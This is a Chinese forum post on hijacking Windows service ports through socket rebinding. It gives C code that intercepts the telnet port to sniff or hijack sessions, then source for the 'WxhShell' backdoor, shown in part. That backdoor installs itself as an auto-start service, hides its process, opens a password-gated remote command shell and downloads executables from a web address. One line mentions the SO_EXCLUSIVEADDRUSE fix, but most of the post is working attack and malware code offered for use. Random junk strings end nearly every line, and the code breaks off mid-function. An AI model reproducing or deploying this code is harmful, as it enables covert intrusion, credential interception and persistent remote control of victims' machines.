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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A-!qO|E[-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); fTtSx_}3H  
vjRD?kF  
  saddr.sin_family = AF_INET; x(N} ^Hu  
Q>g$)-8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); R* G>)YH  
/Z_ [)PTH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); dY` J,s  
Ijro;rsEKM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (lsod#wEMg  
E1w XG  
  这意味着什么?意味着可以进行如下的攻击: kV9NFo22  
/j\TmcnU^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 V+5 n|L5  
w7V W   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +NMSvu_?  
Z'm%3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %--5bwZi  
9TS=>  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -^Va]Lk  
<Py/uF|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D5vtZu!"  
RtQfE+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .u3W]5M|  
 o*1`,n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I _G;;GF  
~mo `  
  #include _JO @O^Ndd  
  #include X1D:{S[  
  #include X_8NW,  
  #include    6x8|v7cMH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   wIHz TL  
  int main() %d\+(:uu/  
  { iPYlTV  
  WORD wVersionRequested; wf$ JuHPt  
  DWORD ret; (W/UR9x)|d  
  WSADATA wsaData; ,dMi+c`ax  
  BOOL val; dj**,*s  
  SOCKADDR_IN saddr; ]>T/Gl1  
  SOCKADDR_IN scaddr; ZWEzL$VWi  
  int err; ) hB*Hjh  
  SOCKET s; <L#r6y~H  
  SOCKET sc; [6N39G$  
  int caddsize; *j:5  
  HANDLE mt; YL0RQa  
  DWORD tid;   x"De 9SB  
  wVersionRequested = MAKEWORD( 2, 2 ); . Dxrc  
  err = WSAStartup( wVersionRequested, &wsaData ); ;KN@v5`p  
  if ( err != 0 ) { 3_/d=ZI\  
  printf("error!WSAStartup failed!\n"); E zUjt)wF  
  return -1; ?V&a |:N9  
  } J/2pS  
  saddr.sin_family = AF_INET; "!?Ya{  
   d_B5@9e#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 W)O'( D  
6E4L4Vb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); JwVv+9hh  
  saddr.sin_port = htons(23); th|Q NG  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aX:$Q }S  
  { 6* w;xf  
  printf("error!socket failed!\n"); _ RT}Ee}Y  
  return -1; [wYQP6Cyy  
  } @S):a`J  
  val = TRUE; HEN9D/O=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U %l{>*q  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) . C?gnOq  
  { I ]1fH  
  printf("error!setsockopt failed!\n"); .?NAq[H%  
  return -1; vkmR cX:/  
  } ? GW3E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m!(K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +R$KEGu~0Y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ne_>%P|I_  
')<$AMy1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5o #8DIal  
  { _;W|iUreb  
  ret=GetLastError(); OD|&qsbL  
  printf("error!bind failed!\n"); ]uf_"D  
  return -1; P*]g*&*Y +  
  } ;oE4,  
  listen(s,2); Lq^/Z4L  
  while(1) VTa8.(i6v  
  { f#mpd]e+6  
  caddsize = sizeof(scaddr); -XB>&dNl)T  
  //接受连接请求 z ZQoY_UI  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KQ3 On(d  
  if(sc!=INVALID_SOCKET) K2Zy6lGOZ  
  { I*"]!z1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ;'}xD5]  
  if(mt==NULL) B;Vl+}R  
  { )=@ XF0  
  printf("Thread Creat Failed!\n"); \ 3N#%  
  break; 3iTjM>+>  
  } 4F?1,-X  
  } qZG >FC37  
  CloseHandle(mt); 5Tq 3L[T5;  
  } &h-1Z}  
  closesocket(s); m\=u/Zip  
  WSACleanup(); gE~31:a^  
  return 0; !5-[kG&  
  }   V>Cf 8>m  
  DWORD WINAPI ClientThread(LPVOID lpParam) LX'US-B.!  
  { I%`2RXBt3^  
  SOCKET ss = (SOCKET)lpParam; tB.9Ov*  
  SOCKET sc; Yg b#U'|  
  unsigned char buf[4096]; Z(P#]jI]  
  SOCKADDR_IN saddr; nFSa~M  
  long num; wDk[)9#A   
  DWORD val; wwz<c5  
  DWORD ret; `OWB@_u5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 N8TO"`wdbs  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I(4k{=\ph]  
  saddr.sin_family = AF_INET; j? A +qk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XijQ)}'C3  
  saddr.sin_port = htons(23); I( e>ff  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ';%g^!lM a  
  { WjB[e>  
  printf("error!socket failed!\n"); qMkP/BjV  
  return -1; +nuQC{^>  
  } V<7Gd8rDMM  
  val = 100; 8}"j#tDc  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )d~Mag+  
  { *?S\0a'W@  
  ret = GetLastError(); $.kYAsZts  
  return -1; gFH_^~7i8p  
  } N>_7Ltw/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ia[wVxd  
  { ]F~5l?4u#  
  ret = GetLastError(); #*~Uu.T  
  return -1; \Ip<bbB0  
  } -h}J%UV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) iu .{L(m  
  { NKRXY~zHh  
  printf("error!socket connect failed!\n"); 7~&Y"&  
  closesocket(sc); ~Y(M>u.+!  
  closesocket(ss); @?U5t1O<  
  return -1; @tA.^k0`  
  } S^u!/ =&  
  while(1) v3p..A~XZ.  
  { j.K yPWO  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ,\M'jV"S K  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?g&]*zc^\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gM8eO-d  
  num = recv(ss,buf,4096,0); ,Xw/ t>  
  if(num>0) m`|Z1CT  
  send(sc,buf,num,0); Am0$UeSZ  
  else if(num==0) T]xGE   
  break; 6!$S1z#wM  
  num = recv(sc,buf,4096,0); bu.36\78  
  if(num>0)  ;"3Mm$  
  send(ss,buf,num,0); 4 R]|  
  else if(num==0) > h9U~#G=  
  break; tv0xfAV  
  } :1iw_GhJf  
  closesocket(ss); O]>Or3oO  
  closesocket(sc); km^AX:r1  
  return 0 ; z(ajR*\#  
  } sM-*[Q=_  
MG6Tk(3S  
M3''xrpC  
========================================================== |lv4X }H  
>@X=E3  
下边附上一个代码,,WXhSHELL cA*%K[9  
{MS&t09Wh  
========================================================== E*%{Nn  
k}/: xN"  
#include "stdafx.h" !\m.&lk'^  
d09GD[5  
#include <stdio.h> dx~Wm1  
#include <string.h> Kk,->q<1  
#include <windows.h> ;?rW`e2  
#include <winsock2.h> +0OQ"2^&  
#include <winsvc.h> %bsdC0xM  
#include <urlmon.h> sk5\"jna  
rk~/^(!  
#pragma comment (lib, "Ws2_32.lib") ^Iz.O  
#pragma comment (lib, "urlmon.lib") }X UHP%  
v6GWD}HH,  
#define MAX_USER   100 // 最大客户端连接数  u32<=Q[  
#define BUF_SOCK   200 // sock buffer %F7aFvl*  
#define KEY_BUFF   255 // 输入 buffer ^ey\ c1K  
m} V,+E  
#define REBOOT     0   // 重启 IH0Uq_  
#define SHUTDOWN   1   // 关机 U+ 8[Ia(t  
g N[r*:B  
#define DEF_PORT   5000 // 监听端口 #wo_  
4eKJ\Q=nX5  
#define REG_LEN     16   // 注册表键长度 M]W4S4&Y=  
#define SVC_LEN     80   // NT服务名长度 YcI]_[  
S.I<Hs  
// 从dll定义API <[q)2 5RL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A-~)7-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &qr7yyY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); oH;Y}h  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #\jPBLc  
V$@2:@8mo  
// wxhshell配置信息 vD(;VeW[  
struct WSCFG { VS` S@+p  
  int ws_port;         // 监听端口 dU\fC{1Z  
  char ws_passstr[REG_LEN]; // 口令 * n[6H  
  int ws_autoins;       // 安装标记, 1=yes 0=no =:b/z1-v  
  char ws_regname[REG_LEN]; // 注册表键名 RPrk]<<1  
  char ws_svcname[REG_LEN]; // 服务名 o 2DnkzpJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1 ID! rxE  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #y?z2 !  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "[%NXan  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZpdM[\Q-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =}L[/RL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~2qFA2  
!>+ 0/   
}; e0q a ~5  
:sn}D~  
// default Wxhshell configuration hk=+t&Y<H  
struct WSCFG wscfg={DEF_PORT, D&'".N,}  
    "xuhuanlingzhe", D H/1 :H  
    1, 5!Guf?i  
    "Wxhshell", j04Q3d \f  
    "Wxhshell", e#AB0-f  
            "WxhShell Service", XH. _Z  
    "Wrsky Windows CmdShell Service", HqbTJ!a  
    "Please Input Your Password: ", LP87X-qkjW  
  1, Q.N^1?(>k  
  "http://www.wrsky.com/wxhshell.exe", WgIVhj  
  "Wxhshell.exe" V=c&QPP  
    }; <sTa Xaq?  
T4UY%E!0  
// 消息定义模块 Y}Ov`ZM!r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &8(2U-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N5s_o0K4TU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; f ZISwr  
char *msg_ws_ext="\n\rExit."; _E~uuFMn*R  
char *msg_ws_end="\n\rQuit."; OS!47Z /q  
char *msg_ws_boot="\n\rReboot..."; &@RU}DnvM&  
char *msg_ws_poff="\n\rShutdown..."; # WxH  
char *msg_ws_down="\n\rSave to "; ZpZ~[BtQ  
Y 8P  
char *msg_ws_err="\n\rErr!"; $yt|nO  
char *msg_ws_ok="\n\rOK!"; l 0 1Lg6+S  
[]Z6<rC|  
char ExeFile[MAX_PATH]; -uh/W=Q1R  
int nUser = 0; bXJE 2N  
HANDLE handles[MAX_USER]; $q+7 ,,"  
int OsIsNt; snK/,lm.  
[Nq4<NK  
SERVICE_STATUS       serviceStatus; 8xNKVj)@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mr;WxxO5  
H'Po  
// 函数声明 c"| ^Lo.  
int Install(void); Wbc % G8  
int Uninstall(void); mX#T<_=d  
int DownloadFile(char *sURL, SOCKET wsh); zR/ATm]9  
int Boot(int flag); {c$W-t):U|  
void HideProc(void);  $% jV%k  
int GetOsVer(void); M_PL{  
int Wxhshell(SOCKET wsl); d BJM?/  
void TalkWithClient(void *cs); 3:C *'@  
int CmdShell(SOCKET sock); MXhS\vF#m  
int StartFromService(void); IXH;QwR:  
int StartWxhshell(LPSTR lpCmdLine); :O{:;X)  
SVR AkP-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;zGGT^Dn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~v5tx  
6L4B$'&KQZ  
// 数据结构和表定义 lr|-_snx2  
SERVICE_TABLE_ENTRY DispatchTable[] = 0 xXAhv-)O  
{ bkY7]'.bz&  
{wscfg.ws_svcname, NTServiceMain}, z*R"917  
{NULL, NULL} ?=\h/C  
}; 0/%zXp&m  
Ar\`OhR  
// 自我安装 6=zme6D  
int Install(void) IX3r$}4  
{ h\yYg'CC  
  char svExeFile[MAX_PATH]; ^EB}e15"  
  HKEY key; 5tf/VT   
  strcpy(svExeFile,ExeFile); h;B'#$_  
DZ EA*E>  
// 如果是win9x系统,修改注册表设为自启动 ;mMn-+3<  
if(!OsIsNt) { C|>#|5XaF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9eV@v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =7jkW (Q  
  RegCloseKey(key); oc15!M3$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D3jP hPy.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UH)A n:9  
  RegCloseKey(key); SI@I  
  return 0; H kg0;)  
    } W}EO]A%f.\  
  } $u`;{8  
} YT-t$QyL  
else { 63at lq  
8]0R[kjD  
// 如果是NT以上系统,安装为系统服务 ,C CIg9Pt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M#:Mwa$  
if (schSCManager!=0) 3fGy  
{ ?.4u'Dkn=  
  SC_HANDLE schService = CreateService O /GD[9$i  
  ( #$A6s~`B  
  schSCManager, wi&m(f(~  
  wscfg.ws_svcname, }g`A*y;t  
  wscfg.ws_svcdisp, JiRW|+`pe  
  SERVICE_ALL_ACCESS, 'vh:(-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v!W,h2:J  
  SERVICE_AUTO_START, za24-q  
  SERVICE_ERROR_NORMAL, =n;ileGm+^  
  svExeFile, ((H}d?^AJ  
  NULL, /at#[Pw~01  
  NULL, }U8H4B~UtY  
  NULL, +pDuRr  
  NULL, XX/cJp  
  NULL f}@]dFr  
  ); d`2VbZC`  
  if (schService!=0) %T 88K}?=  
  { C=.  
  CloseServiceHandle(schService); Ble <n6  
  CloseServiceHandle(schSCManager); h883pe=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qx {/izc  
  strcat(svExeFile,wscfg.ws_svcname); ptUnV3h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { W/+|dN{O+g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ql],Wplg  
  RegCloseKey(key); !QYqRH~ 5  
  return 0; fIFB"toiPE  
    } Rk"_4zJk  
  } (}}BZ S&.  
  CloseServiceHandle(schSCManager); Fn 6>n04v  
} G66vzwO   
} 9 =hA#t.#  
/*st,P$"  
return 1; }bHd U]$}  
} vZ|m3;X  
Bm^vKzp  
// 自我卸载 -N9U lW2S  
int Uninstall(void) lPx4I  
{ 1z{Azp MZ  
  HKEY key; )82x)c<e  
n|{x\@VeF  
if(!OsIsNt) { |3vQmd !2}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >\MV/!W  
  RegDeleteValue(key,wscfg.ws_regname); ;o#dmG  
  RegCloseKey(key); .O~)zM x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vk{dL'  
  RegDeleteValue(key,wscfg.ws_regname); $S6AqUk$  
  RegCloseKey(key); {GZHD^Ce  
  return 0; 3vmZB2QG  
  } MTa.Ubs  
} b PiJCX0d  
} tz2`X V{  
else { y_\vXY'  
y%iN9 -t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); %1xo|6hm-  
if (schSCManager!=0) taI])  
{ HHT K{X+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8r+R~{  
  if (schService!=0) , Lhgv1  
  { wS8qua  
  if(DeleteService(schService)!=0) { MX  qH  
  CloseServiceHandle(schService); :fo%)_Jc!  
  CloseServiceHandle(schSCManager); Av7bp[OD  
  return 0; e>Is$+[`7  
  } R$NH [Tz  
  CloseServiceHandle(schService); WCU[]A  
  } Wrt3p-N"D  
  CloseServiceHandle(schSCManager); YpXUYNy  
} w0VJt<e*  
} Gv3a<Knn4  
~[l2"@  
return 1; lshO'I+)*  
} BpRQG]L  
389T6sP]  
// 从指定url下载文件 &yWl8O  
int DownloadFile(char *sURL, SOCKET wsh) 5,;{<\c  
{ ll73}v  
  HRESULT hr; @yqy$I   
char seps[]= "/"; 6Kg lp\2  
char *token; ;PGC9v%i  
char *file; j2g#t  
char myURL[MAX_PATH]; }hEBX:-  
char myFILE[MAX_PATH]; V/<dHOfR\  
j[9xF<I  
strcpy(myURL,sURL); IZniRd;  
  token=strtok(myURL,seps); iiKFV>;t/  
  while(token!=NULL) [sbC6(z  
  { :,6dW?mun6  
    file=token; bvs0y7M='  
  token=strtok(NULL,seps); ,??xW{* |  
  } ~cQP4 kBD]  
i$$\}2m{L  
GetCurrentDirectory(MAX_PATH,myFILE); >\[sNCkf  
strcat(myFILE, "\\"); ^o65sM  
strcat(myFILE, file); }yC ve  
  send(wsh,myFILE,strlen(myFILE),0); ^pAqe8u_  
send(wsh,"...",3,0); kR9G;IZ8s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2r<UYB  
  if(hr==S_OK) K4snp u hC  
return 0; ^`Vt<DMT  
else ~1i,R1_\Y  
return 1; _~fO8_vr  
v`bX#\It  
} )%f]`<o  
?}bSQ)b  
// 系统电源模块 WUMx:a0!  
int Boot(int flag) &YDb/{|CIC  
{ D9+a"2|3<  
  HANDLE hToken; No!P?  
  TOKEN_PRIVILEGES tkp; y2o?a6`  
{FteQ@(  
  if(OsIsNt) { tbl!{Qwx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); c-n'F+fZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ,bKA]#(2  
    tkp.PrivilegeCount = 1; :$j!e#?=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]Y}faW(&Y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); I?Hj,lN  
if(flag==REBOOT) { (SU*fD!t  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) }ZlJ  
  return 0; YLJH?=2@  
} O"nY4  
else { R1\cAP^ 0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <~<I K=n  
  return 0; aG?'F`UQ  
} 0&$e:O'v  
  } &7XB $  
  else { yI h>j.P  
if(flag==REBOOT) { KSMe#Qnw  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !nU  
  return 0; `3*>tq  
} w1h07_u;v  
else { "u3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >/ECLP  
  return 0; 'h([Y8p{  
} f @Hp,-  
} 2< qq[2  
(3&@c!E  
return 1; )p).}"   
} vx5;}[Bhm  
o>\jc  
// win9x进程隐藏模块 Qf$0^$ "  
void HideProc(void) _bMD|  
{ %]nLCoQh  
67~m9pk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [yf2_{*0T  
  if ( hKernel != NULL ) 0@.$(Aqo(  
  { )jn|+M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v'2EYTVNJD  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \V+$2 :A  
    FreeLibrary(hKernel); EX='\~Dw  
  } s[SzE6eQ`l  
U^snb6\5  
return; ~2S`y=*:  
} rPZ<  
YEF%l'm( \  
// 获取操作系统版本 <YUc?NF  
int GetOsVer(void) Fx/9T2%=  
{ Ddghw(9*H  
  OSVERSIONINFO winfo; {(7Dz*0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); psta&u\ q  
  GetVersionEx(&winfo); );@@>~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @|j`I1r.A  
  return 1; :nd }e  
  else Z>Rd6o'  
  return 0; #z6RzZu  
} nv2Y6e}dG  
mO?G[?*\  
// 客户端句柄模块 wGBQ.Ve[  
int Wxhshell(SOCKET wsl) GQ$0`?lp  
{ aGr(djD  
  SOCKET wsh; (t&P. N/  
  struct sockaddr_in client; /#G^?2o M  
  DWORD myID; qWy{{ A+  
CDO _A\  
  while(nUser<MAX_USER) '_4u, \SG  
{ C' o4Su#  
  int nSize=sizeof(client); 3Nsb@0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); @433?g`2b  
  if(wsh==INVALID_SOCKET) return 1; @j9yc  
Z@RAdwjR`p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 'lHtz ~[  
if(handles[nUser]==0) :{E3H3  
  closesocket(wsh); Fu^^Jex  
else aEy_H-6f  
  nUser++; %&V<kH"7Q{  
  } C.C\(2- Rr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RCND|X  
X:j&+d2g0/  
  return 0; ?P4`  
} jQ4Pv`  
=3a`NO5!  
// 关闭 socket F<Z"W}I+6  
void CloseIt(SOCKET wsh) o//N"S.)  
{ kVe^g]F  
closesocket(wsh); s><RL]+{G+  
nUser--; +7sdQCO(Co  
ExitThread(0); b! PN6<SI  
} WLDt5R  
h}g _;k5R  
// 客户端请求句柄 >Djv8 0  
void TalkWithClient(void *cs) sq@Eu>Ng(X  
{ 5\S)8j `8  
<$Q&n{  
  SOCKET wsh=(SOCKET)cs; .Uh-Wi[  
  char pwd[SVC_LEN]; w44{~[0d4  
  char cmd[KEY_BUFF]; E IsA2 f  
char chr[1]; #v89`$#`2  
int i,j; S;Lqx5Cd  
fdck/|`t  
  while (nUser < MAX_USER) { :>Z0Kb}7  
qV/"30,K  
if(wscfg.ws_passstr) { *xkbKkm  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {S~2m2up0L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [77]0V7  
  //ZeroMemory(pwd,KEY_BUFF); =uKK{\+|Y  
      i=0; RRV@nDf   
  while(i<SVC_LEN) { ZZ]/9oiF%  
E$ F)z  
  // 设置超时 bpzB}nEp  
  fd_set FdRead; $O%lYQY]  
  struct timeval TimeOut; B5=L</Aj  
  FD_ZERO(&FdRead); O)\xElu  
  FD_SET(wsh,&FdRead); v\n!Li H  
  TimeOut.tv_sec=8; zOg#=ql  
  TimeOut.tv_usec=0; M\enjB7k  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ky#<\K1}'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u17Da9@;  
{pd%I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <*8nv.PX*  
  pwd=chr[0]; QbV)+7II=  
  if(chr[0]==0xd || chr[0]==0xa) { l.;y`cs  
  pwd=0; Nr:%oD_G*  
  break; 9P{5bG0o8  
  } K)_0ej~C  
  i++; =y0!-y  
    } lBD{)Va  
y!blp>V6  
  // 如果是非法用户,关闭 socket CW*6 -q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  T~ /Bf  
} j<8_SD=,  
u vc0"g1h  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )#xd]~ <  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dm8veKW'l  
:*0k:h6g  
while(1) { ;yBq'_e3  
Y 0$m~}j  
  ZeroMemory(cmd,KEY_BUFF); BL]!j#''KE  
}b)?o@9}:  
      // 自动支持客户端 telnet标准   Pkc4=i,`A  
  j=0; |os2@G$  
  while(j<KEY_BUFF) { xot q$r  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M}(4>W  
  cmd[j]=chr[0]; @2YO_rL[  
  if(chr[0]==0xa || chr[0]==0xd) { ;9,Ll%Lk<  
  cmd[j]=0; ?9mWMf%t  
  break; &y3_>!L  
  } |I)Ms NF  
  j++; a9FlzR  
    } ]L}<Y9)t  
b.8HGt<%  
  // 下载文件 hL67g  
  if(strstr(cmd,"http://")) { ZS^EKz~+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?uk|x!Ko]  
  if(DownloadFile(cmd,wsh)) V [[B~Rs  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v*FCE 1HI  
  else SDA +XnmH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hYb!RRGn  
  } k(u W( 6  
  else { {;f` t3D  
@B7 ;  
    switch(cmd[0]) { _ky!4^B  
  !%T@DT=l&  
  // 帮助 &b"PjtU.X  
  case '?': { /5U?4l(6[f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /3FC@?l w4  
    break; T{?!sB3  
  } X k<X:,T  
  // 安装 sJ3HH0e  
  case 'i': { dH#o11[  
    if(Install()) Q1buuF#CU&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B7?784{x,  
    else V9B $_j4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G]QD6b9~  
    break; ;d?4phl -.  
    } khjW9Aa8t  
  // 卸载 vJl4.nk  
  case 'r': { eHPGzN Xb  
    if(Uninstall()) lq.AQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #V4_.t#  
    else &&_W,id`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @@SG0YxZ  
    break; A' dt WD  
    } He"> kJx  
  // 显示 wxhshell 所在路径 }I05&/o.3p  
  case 'p': { u'Mq^8  
    char svExeFile[MAX_PATH]; 0sV;TQt+f  
    strcpy(svExeFile,"\n\r"); xQWZk`6~L  
      strcat(svExeFile,ExeFile); `4\H'p  
        send(wsh,svExeFile,strlen(svExeFile),0); xCoQ>.4p  
    break; ]%>;R^HY  
    } o] )qv~o)  
  // 重启 VNXB7#ry  
  case 'b': { ~[k 2(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sI9~TZ :  
    if(Boot(REBOOT)) r IS \#j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~y B[}BPf  
    else { pZjyzH{~  
    closesocket(wsh); ,((5|MbM/  
    ExitThread(0); SJy:5e?zk  
    } iCc@N|~  
    break; PS(LD4mD  
    } xU67ztS'E'  
  // 关机 @-!w,$F)%d  
  case 'd': { 2)4{  
